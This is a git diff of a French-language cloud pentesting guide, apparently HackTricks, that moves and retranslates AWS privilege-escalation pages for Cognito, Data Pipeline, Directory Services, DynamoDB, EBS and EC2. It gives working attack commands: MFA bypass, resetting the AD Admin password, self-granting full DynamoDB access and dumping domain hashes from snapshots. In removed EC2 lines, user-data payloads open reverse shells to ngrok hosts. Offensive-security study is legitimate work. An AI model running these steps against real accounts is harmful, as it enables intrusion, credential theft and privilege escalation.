+--user-pool-id +``` +**SetUserPoolMfaConfig**: Similaire au précédent, cette permission peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA. +```bash +aws cognito-idp set-user-pool-mfa-config \ +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] +``` +**UpdateUserPool:** Il est également possible de mettre à jour le user pool pour modifier la politique MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). + +**Impact potentiel :** Privesc indirect vers potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, ce qui pourrait permettre de contourner la protection MFA. + +### `cognito-idp:AdminUpdateUserAttributes` + +Un attaquant disposant de cette permission pourrait modifier l'adresse e-mail, le numéro de téléphone ou tout autre attribut d'un utilisateur sous son contrôle pour tenter d'obtenir davantage de privilèges dans une application sous-jacente.\ +Cela permet de modifier une adresse e-mail ou un numéro de téléphone et de les marquer comme vérifiés. +```bash +aws cognito-idp admin-update-user-attributes \ +--user-pool-id \ +--username \ +--user-attributes +``` +**Impact potentiel :** Potentiel privesc indirect dans l'application sous-jacente utilisant Cognito User Pool qui accorde des privilèges en fonction des attributs utilisateur. + +### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` + +Un attaquant disposant de cette permission pourrait **créer un nouveau User Pool Client moins restreint** que les clients de pool déjà existants. Par exemple, le nouveau client pourrait autoriser n'importe quel type de méthode d'authentification, ne pas avoir de secret, avoir la révocation des tokens désactivée, permettre aux tokens d'être valables plus longtemps... + +La même chose peut être faite si, au lieu de créer un nouveau client, un **client existant est modifié**. + +Dans la [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou le [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) vous pouvez voir toutes les options, consultez-les ! +```bash +aws cognito-idp create-user-pool-client \ +--user-pool-id \ +--client-name \ +[...] +``` +**Impact potentiel :** Privesc indirect potentiel pour l'utilisateur autorisé de l'Identity Pool utilisé par le User Pool en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu'il a pu créer. + +### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` + +Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléversant un CSV contenant de nouveaux utilisateurs. +```bash +# Create a new import job +aws cognito-idp create-user-import-job \ +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn + +# Use a new import job +aws cognito-idp start-user-import-job \ +--user-pool-id \ +--job-id + +# Both options before will give you a URL where you can send the CVS file with the users to create +curl -v -T "PATH_TO_CSV_FILE" \ +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +``` +(Dans le cas où vous créez un nouveau import job vous pourriez aussi avoir besoin de la permission iam passrole, je ne l'ai pas encore testée). + +**Impact potentiel :** Privesc direct vers l'identity pool IAM role pour les utilisateurs authentifiés. Privesc indirect vers d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur. + +### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` + +Un attaquant pourrait créer un nouveau fournisseur d'identité pour ensuite pouvoir **se connecter via ce fournisseur**. +```bash +aws cognito-idp create-identity-provider \ +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] +``` +**Potential Impact :** Privesc direct au rôle IAM de l'identity pool pour les utilisateurs authentifiés. Privesc indirect vers d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur. + +### cognito-sync:\* Analyse + +C'est une permission très courante par défaut dans les rôles des Cognito Identity Pools. Même si un wildcard dans les permissions a toujours l'air mauvais (surtout venant d'AWS), les **permissions données ne sont pas très utiles du point de vue d'un attaquant**. + +Cette permission permet de lire des informations d'utilisation des Identity Pools et des Identity IDs à l'intérieur des Identity Pools (ce qui n'est pas une information sensible).\ +Les Identity IDs peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS les définit comme une **partie sauvegardée**). Il est possible que cela contienne une forme d'information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../../aws-services/aws-cognito-enum/index.html) comment accéder à cette information. + +Un attaquant pourrait aussi utiliser ces permissions pour **s'abonner à un Cognito stream qui publie des changements** sur ces Datasets ou pour déclencher une **lambda qui se déclenche sur des cognito events**. Je n'ai pas vu cela être utilisé, et je n'attendrais pas d'informations sensibles ici, mais ce n'est pas impossible. + +### Outils automatiques + +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut désormais les modules "cognito__enum" et "cognito__attack" qui automatisent l'énumération de toutes les ressources Cognito d'un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent aussi la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisés modifiables, des identity pool credentials utilisables, des rôles assumables dans les id tokens, etc. + +Pour une description des fonctions des modules, voir la partie 2 de l'[article de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour les instructions d'installation, voir la page principale [Pacu](https://github.com/RhinoSecurityLabs/pacu). + +#### Utilisation + +Exemple d'utilisation de cognito__attack pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un identity pool donné et un user pool client : +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Exemple d'utilisation de cognito\_\_enum pour collecter tous les user pools, user pool clients, identity pools, users, etc. visibles dans le compte AWS actuel : +```bash +Pacu (new:test) > run cognito__enum +``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris une élévation de privilèges (privesc). + +#### Installation +```bash +$ pip install cognito-scanner +``` +#### Utilisation +```bash +$ cognito-scanner --help +``` +Pour plus d'informations, consultez [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md index df8eea871..1a96772f6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md @@ -1,22 +1,22 @@ # AWS - Datapipeline Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## datapipeline Pour plus d'informations sur datapipeline, consultez : {{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md {{#endref}} ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Les utilisateurs avec ces **permissions peuvent élever leurs privilèges en créant un Data Pipeline** pour exécuter des commandes arbitraires en utilisant les **permissions du rôle assigné :** +Les utilisateurs disposant de ces **permissions peuvent escalader des privilèges en créant un Data Pipeline** pour exécuter des commandes arbitraires en utilisant les **permissions du rôle assigné :** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` -Après la création du pipeline, l'attaquant met à jour sa définition pour dicter des actions spécifiques ou des créations de ressources : +Après la création du pipeline, the attacker met à jour sa définition pour dicter des actions spécifiques ou la création de ressources : ```json { "objects": [ @@ -50,19 +50,19 @@ Après la création du pipeline, l'attaquant met à jour sa définition pour dic } ``` > [!NOTE] -> Notez que le **rôle** dans **les lignes 14, 15 et 27** doit être un rôle **assumable par datapipeline.amazonaws.com** et le rôle dans **la ligne 28** doit être un **rôle assumable par ec2.amazonaws.com avec un profil d'instance EC2**. +> Notez que le **role** aux **lignes 14, 15 et 27** doit être un **role pouvant être assumé par datapipeline.amazonaws.com** et que le **role** à la **ligne 28** doit être un **role pouvant être assumé par ec2.amazonaws.com avec un EC2 profile instance**. > -> De plus, l'instance EC2 n'aura accès qu'au rôle assumable par l'instance EC2 (vous ne pouvez donc voler que celui-ci). +> De plus, l'instance EC2 n'aura accès qu'au **role** pouvant être assumé par l'instance EC2 (donc vous ne pourrez voler que celui-ci). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -Le **fichier de définition de pipeline, conçu par l'attaquant, inclut des directives pour exécuter des commandes** ou créer des ressources via l'API AWS, tirant parti des autorisations de rôle du Data Pipeline pour potentiellement obtenir des privilèges supplémentaires. +Le **fichier de définition du pipeline, conçu par l'attaquant, inclut des directives pour exécuter des commandes** ou créer des ressources via l'API AWS, en exploitant les permissions du rôle de Data Pipeline pour potentiellement obtenir des privilèges supplémentaires. -**Impact potentiel :** Privesc direct au rôle de service ec2 spécifié. +**Impact potentiel :** Privesc direct vers le rôle de service ec2 spécifié. ## Références - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md deleted file mode 100644 index 0f9a354c8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Privesc des Services d'Annuaire - -{{#include ../../../banners/hacktricks-training.md}} - -## Services d'Annuaire - -Pour plus d'infos sur les services d'annuaire, consultez : - -{{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md -{{#endref}} - -### `ds:ResetUserPassword` - -Cette permission permet de **changer** le **mot de passe** de tout **utilisateur existant** dans l'Active Directory.\ -Par défaut, le seul utilisateur existant est **Admin**. -``` -aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. -``` -### AWS Management Console - -Il est possible d'activer une **URL d'accès à l'application** à laquelle les utilisateurs d'AD peuvent accéder pour se connecter : - -
- -Et ensuite **leur accorder un rôle AWS IAM** pour lorsqu'ils se connectent, de cette manière un utilisateur/groupe AD aura accès à la console de gestion AWS : - -
- -Il n'y a apparemment aucun moyen d'activer l'URL d'accès à l'application, la console de gestion AWS et d'accorder des autorisations - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..65de25425 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Directory Services Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Services d'annuaire + +Pour plus d'informations sur les services d'annuaire, consultez : + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +Cette permission permet de **changer** le **mot de passe** de tout utilisateur **existant** dans l'Active Directory.\ +Par défaut, le seul utilisateur existant est **Admin**. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +Il est possible d'activer une **URL d'accès à l'application** que les utilisateurs d'AD peuvent utiliser pour se connecter : + +
+ +Et ensuite **leur attribuer un rôle AWS IAM** pour quand ils se connectent, de sorte qu'un utilisateur/groupe AD aura accès à la AWS Management Console : + +
+ +Il ne semble apparemment pas exister de moyen d'activer l'URL d'accès à l'application, la AWS Management Console et d'accorder les autorisations + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index fd3ffbb79..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -Pour plus d'informations sur dynamodb, consultez : - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, et éventuellement `dynamodb:GetResourcePolicy` - -Depuis mars 2024, AWS propose des *politiques basées sur les ressources* pour DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -Ainsi, si vous avez le `dynamodb:PutResourcePolicy` pour une table, vous pouvez simplement vous accorder, ou accorder à tout autre principal, un accès complet à la table. - -Accorder le `dynamodb:PutResourcePolicy` à un principal aléatoire se produit souvent par accident, si les administrateurs pensent que l'octroi de `dynamodb:Put*` ne permettrait au principal que d'ajouter des éléments à la base de données - ou s'ils ont accordé cet ensemble de permissions avant mars 2024... - -Idéalement, vous avez également `dynamodb:GetResourcePolicy`, afin de ne pas écraser d'autres permissions potentiellement vitales, mais seulement d'injecter les permissions supplémentaires dont vous avez besoin : -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -Si vous ne pouvez pas récupérer la politique actuelle, utilisez simplement celle-ci qui accorde un accès complet sur la table à votre principal : -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -Si vous devez le personnaliser, voici une liste de toutes les actions DynamoDB possibles : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Et voici une liste de toutes les actions qui peuvent être autorisées via une politique basée sur les ressources *ET lesquelles de celles-ci peuvent être utilisées entre comptes (pensez à l'exfiltration de données !)* : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) - -Maintenant, avec le document de politique `policy.json` prêt, mettez la politique de ressource : -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -Maintenant, vous devriez avoir les autorisations nécessaires. - -### Post Exploitation - -Autant que je sache, il n'y a **aucun autre moyen direct d'escalader les privilèges dans AWS juste en ayant quelques autorisations `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** : - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### À FAIRE : Lire des données en abusant des flux de données - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..bc4c3b158 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + +Pour plus d'informations sur dynamodb, consultez : + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, et éventuellement `dynamodb:GetResourcePolicy` + +Depuis mars 2024, AWS propose des *politiques basées sur les ressources* pour DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Donc, si vous possédez `dynamodb:PutResourcePolicy` sur une table, vous pouvez simplement vous accorder (ou accorder à tout autre principal) un accès complet à la table. + +Attribuer `dynamodb:PutResourcePolicy` à un principal au hasard arrive souvent par accident, si les admins pensent que donner `dynamodb:Put*` permettrait seulement au principal d'insérer des items dans la base - ou s'ils ont accordé ce jeu de permissions avant mars 2024... + +Idéalement, vous avez aussi `dynamodb:GetResourcePolicy`, afin de ne pas écraser d'autres permissions potentiellement vitales, mais d'injecter uniquement les permissions additionnelles dont vous avez besoin : +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Si vous ne pouvez pas récupérer la stratégie actuelle, utilisez simplement celle-ci qui accorde un accès complet à la table à votre principal : +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Si vous devez le personnaliser, voici une liste de toutes les actions possibles de DynamoDB : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Et voici une liste de toutes les actions qui peuvent être autorisées via une resource based policy *ET lesquelles de celles-ci peuvent être utilisées cross-account (pensez à la data exfiltration !)* : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Maintenant, avec le document de politique `policy.json` prêt, mettez la resource policy : +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Vous devriez maintenant disposer des permissions nécessaires. + +### Post Exploitation + +À ma connaissance, il n'existe **aucun autre moyen direct d'escalade de privilèges dans AWS simplement en disposant de certaines permissions AWS `dynamodb`**. Vous pouvez **lire des informations sensibles** depuis les tables (qui pourraient contenir AWS credentials) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme lambda code injections...) mais toutes ces options sont déjà considérées dans la **DynamoDB Post Exploitation page**: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: Lire des données en abusant des data Streams + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index c5d0ca72d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -Un attaquant disposant de ces permissions pourra potentiellement **télécharger et analyser les snapshots de volumes localement** et rechercher des informations sensibles dans ceux-ci (comme des secrets ou du code source). Découvrez comment faire cela dans : - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -D'autres permissions peuvent également être utiles telles que : `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` - -L'outil [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) effectue cette attaque pour **extraire des mots de passe d'un contrôleur de domaine**. - -**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le snapshot (vous pourriez même obtenir des mots de passe Active Directory). - -### **`ec2:CreateSnapshot`** - -Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs de domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket. - -Vous pouvez utiliser cet outil pour automatiser l'attaque : [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un snapshot. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..3c7c7817a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +Un attaquant disposant de ces permissions pourra potentiellement **télécharger et analyser localement des snapshots de volumes** et rechercher des informations sensibles dans ceux-ci (comme des secrets ou du source code). Trouvez comment faire cela dans : + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +D'autres permissions peuvent aussi être utiles, par exemple : `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +L'outil [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) réalise cette attaque pour **extraire les mots de passe d'un Domain Controller**. + +**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans le snapshot (vous pourriez même obtenir des mots de passe Active Directory). + +### **`ec2:CreateSnapshot`** + +Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. + +You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index 4643da2c0..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Pour plus d'**informations sur EC2**, consultez : - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Un attaquant pourrait **créer une instance en attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le point de terminaison des métadonnées. - -- **Accès via SSH** - -Lancez une nouvelle instance en utilisant une **clé ssh** **créée** (`--key-name`) puis connectez-vous via ssh (si vous souhaitez en créer une nouvelle, vous devrez peut-être avoir la permission `ec2:CreateKeyPair`). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **Accès via rev shell dans les données utilisateur** - -Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverront un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -Faites attention à GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance : - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**Impact potentiel :** Privesc direct à tout rôle EC2 attaché aux profils d'instance existants. - -#### Privesc à ECS - -Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès, puis vous pourrez pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -Pour apprendre à **forcer les services ECS à s'exécuter** dans cette nouvelle instance EC2, consultez : - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -Si vous **ne pouvez pas créer une nouvelle instance** mais avez la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée. - -**Impact potentiel :** Privesc direct vers les rôles ECS attachés aux tâches. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -Semblable au scénario précédent, un attaquant avec ces permissions pourrait **changer le rôle IAM d'une instance compromise** afin de pouvoir voler de nouvelles informations d'identification.\ -Comme un profil d'instance ne peut avoir qu'un seul rôle, si le profil d'instance **a déjà un rôle** (cas courant), vous aurez également besoin de **`iam:RemoveRoleFromInstanceProfile`**. -```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -Si le **profil d'instance a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution de contournement. Il pourrait **trouver** un **profil d'instance sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à ce **profil d'instance** (comme discuté précédemment), et **associer le profil d'instance** compromis à une instance compromise : - -- Si l'instance **n'a pas de profil d'instance** (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui y est associé. - -- S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer**. -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- ou **remplacer** le **profil d'instance** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**Impact potentiel :** Privesc direct vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des permissions supplémentaires ou un statut de profil d'instance spécifique). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -Un attaquant avec les permissions **`ec2:RequestSpotInstances`et`iam:PassRole`** peut **demander** une **instance Spot** avec un **rôle EC2 attaché** et un **rev shell** dans les **données utilisateur**.\ -Une fois l'instance lancée, il peut **voler le rôle IAM**. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -Un attaquant avec le **`ec2:ModifyInstanceAttribute`** peut modifier les attributs des instances. Parmi eux, il peut **changer les données utilisateur**, ce qui implique qu'il peut faire en sorte que l'instance **exécute des données arbitraires.** Cela peut être utilisé pour obtenir un **rev shell sur l'instance EC2**. - -Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | 